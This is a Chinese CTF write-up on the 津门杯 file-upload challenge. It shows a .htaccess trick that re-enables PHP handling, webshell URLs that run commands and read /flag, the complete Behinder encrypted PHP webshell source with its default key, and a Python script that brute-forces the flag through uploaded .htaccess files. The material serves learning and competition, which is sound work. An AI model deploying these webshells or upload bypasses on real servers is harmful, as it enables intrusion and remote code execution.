文件上传漏洞-通过ctf真题学习

简介: 文件上传漏洞-通过ctf真题学习

前言:最近在学习一些ctf的东西,所以自己想从一个小白的身份,复现一些web的漏洞。学习一些大佬的思路!

一、文件上传漏洞常规思路

1.首先这个是一道文件上传题,常规思路就是上传png、gif等进行bp抓包进行绕过限制

这里普及一下文件上传漏洞的知识。

文件上传漏洞是指由于程序员未对上传的文件进行严格的验证和过滤,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。这种攻击方式是最为直接和有效的,“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。

常见web上传漏洞的解题手法大致分为白名单和黑名单

常用工具:冰蝎、蚁剑、中国菜刀等等+php一句话木马。

文件上传靶机推荐:https://github.com/c0ny1/upload-labs

40f0503e9175b512bd2e18790d51933f_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

二.津门杯文件上传wp

方法1:

1.现在回到我们的题,我先使用php写入一句话木马,然后改为png格式,进行上传。

8c57d3571b52bf8a79f3b1306c7a4034_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

2.发现可以上传,但是没有解析。

d6e56878dc3a793aa1ea96a793022b00_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

查看页面源码,发现隐藏src

cdcd559ff74a3b0a8728a801147feaeb_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

3.然后看看响应包,直接302了。说明注入和常规文件上传思路都没戏的!

12f6991029d2d649f15ab0059a341714_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

0f259074019e21ccc9148b22a6b283a5_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

4.然后从源码出发,看了看源码发现不能注入,也不能绕过上传。

7350a4ed1f3fbb340b28d6be712b0661_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

5.然后看到了这个php规则。经过百度之后发现先知一位大佬写了:

https://xz.aliyun.com/t/8267

     

php_flag engine off

831866a5e9d8c4f8168184d80f0c0334_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

272ad90d8500bbe68fa2e288e703f8d1_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

三、解题思路(1)

1.开始构造文件上传文件

 

2.新建.htaccess文件

第一个文件叫.htaccess内容是:SetHandler application/x-httpd-phpphp_flag engine on

3.新建1.png,进行文件上传

第二个文件名叫1.png

ac1fdd483849e62c11ab2d92ec3e8e18_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

4.先上传.htaccess文件,然后再上传.png文件,上传的png文件就会被解析了。

ec88bca61f3314f28fab5aa078fa9eea_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

5.上传.htaccess文件

0ed7feac4e70b4ee9289e07241e648c0_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

通过burp抓包看到

7c7b971547315bf9c16c65a3c35fcfe1_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

0ace3f9e6e3a8e9f1a3bc5bc0a2ccee7_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

6.上传png文件

3d64163df7144245f665d035d67765ce_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

6e4eb062bad758255f1345b53acfd130_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

7.然后找到上传图片的路径

caf3f5209484de2791cdabc93cdfcfb8_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

8.读文件

http://122.112.248.222:20003/upload/e6a96d9444d3a938319f35616e5d1add/1.png

成功上传,解析

17664e202ab114a68736a4f9e7895eb5_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

9.读phpinfo

http://122.112.248.222:20003/upload/e6a96d9444d3a938319f35616e5d1add/1.png?cmd=phpinfo();

688a161e90e1656c0a3d7df2d4cb25d2_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

10.扫目录

http://122.112.248.222:20003/upload/e6a96d9444d3a938319f35616e5d1add/1.png?cmd=var_dump(scandir(%22/%22));

a1fb2916654abb5f72c951f668442249_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

11.http://122.112.248.222:20003/upload/e6a96d9444d3a938319f35616e5d1add/1.png?cmd=readfile(%22/flag%22); 

fc44aeb12e637f28ab82fc56ee971a4c_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

方法2:

冰蝎:地址:https://github.com/rebeyond/Behinder

首先访问站点:http://122.112.248.222:20003/

3b57ce7b56bf7cc0d737ddbe61df26df_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

真nm嚣张,干你走起

因为配置文件中使用禁止了upload沙盒解析,所以需要上传.htaccess,随便选择一个文件,通过Burp抓包修改参数如下


9935dff31d2c58cf0666d453cc49e021_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

解释一下,将文件名和文件内容修改为.htaccess还不够,还需要将.htaccess放至站点目录之下

之后上传冰蝎马(当然期间还上传了一句话和大马)

d0070e59a3129fad55efe229d26f6889_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

直接连你,密码为rebeyond,成功getshell

4c70acfe426a03432525d179f66283ca_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

在根目录下找到flag,flag为 flag{BNjmiWsBgTW4fsLoDgWLvgnfqk1CI3Nx}

7c9f759da16bf68c61936780ff48ad86_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

冰蝎马如下

<?php
@error_reporting(0);
session_start();
    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
     $post[$i] = $post[$i]^$key[$i+1&15];
    }
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>

方法3:NulL大佬的脚本

<If "file('/flag')=~ /'''flag{xxxx'''/">
ErrorDocument 404 "wupco"
</If>

原理:匹配不到就返回404且有wupco这个字符串,直接脚本逐位爆破

import requests
import string
import hashlib
ip = requests.get('http://118.24.185.108/ip.php').text
print(ip)
def check(a):
    htaccess = '''
    <If "file('/flag')=~ /'''+a+'''/">
    ErrorDocument 404 "wupco"
    </If>
    '''
    resp = requests.post("http://122.112.248.222:20003/index.php?id=69660",data={'submit': 'submit'}, files={'file': ('.htaccess',htaccess)} )
    a = requests.get("http://122.112.248.222:20003/upload/"+ip+"/a").text
    if "wupco" not in a:
        return False
    else:
        return True
flag = "flag{BN"
c = string.ascii_letters + string.digits + "\{\}"
for j in range(32):
    for i in c:
        print("checking: "+ flag+i)
        if check(flag+i):
            flag = flag+i
            print(flag)
            break
        else:
            continue

总结:复现过程中遇到了一些自己从来没有遇到的问题。也碰到了很多没有接触过的知识,感谢在复现过程中提供思路的朋友。感觉到自己技术还有很多不足的地方,希望会的大佬跳过,大佬勿喷!我就是菜弟弟。

相关文章
|
IDE 网络安全 开发工具
GitLab - GitLab 使用 SSH 免密登录
GitLab 使用 SSH 免密登录
2200 0
GitLab - GitLab 使用 SSH 免密登录
|
JavaScript 安全 前端开发
同源策略如何防止 XSS 攻击?
【10月更文挑战第31天】同源策略通过对 DOM 访问、Cookie 访问、脚本执行环境和跨源网络请求等多方面的严格限制,构建了一道坚实的安全防线,有效地防止了 XSS 攻击,保护了用户在网络浏览过程中的数据安全和隐私。
712 49
|
存储 Web App开发 Ubuntu
整理16款适用于较旧低配置电脑的最佳Linux发行版
在本指南中,趣云笔记(https://www.ecscoupon.com/)介绍了一些最好的Linux发行版,你可以将它们安装在旧PC上并为其注入新的活力。
34930 0
|
网络安全 开发工具 git
git clone之报错git@gitee.com:Permission denied (publickey).fatal: Could not read from remote repository
git clone之报错git@gitee.com:Permission denied (publickey).fatal: Could not read from remote repository
2014 0
|
前端开发 PHP 开发工具
CTFshow 信息搜集篇 web1-web20
CTFshow 信息搜集篇 web1-web20
587 0
|
安全 Shell PHP
pear文件利用 (远程文件下载、生成配置文件、写配置文件) 从一道题看——CTFshow私教 web40
pear文件利用 (远程文件下载、生成配置文件、写配置文件) 从一道题看——CTFshow私教 web40
1060 0
BUUCTF---[ACTF2020 新生赛]BackupFile1
BUUCTF---[ACTF2020 新生赛]BackupFile1
|
安全 PHP
文件上传--Upload-labs--Pass13&&14&&15--图片马
文件上传--Upload-labs--Pass13&&14&&15--图片马
1427 0
|
存储 编解码 Java
轻松获取图片和视频文件的Exif信息-Java篇
本文简单介绍了Metadata 元数据以及Exif可交换图像文件信息的基本知识,介绍了metadata-extractor的具体用法,展示了png图像元数据读取、GPS坐标识别和定位以及视频的元数据信息提取,而metadata-extractor提供了大量能使我们快速便捷地获取元数据的方法。
6882 0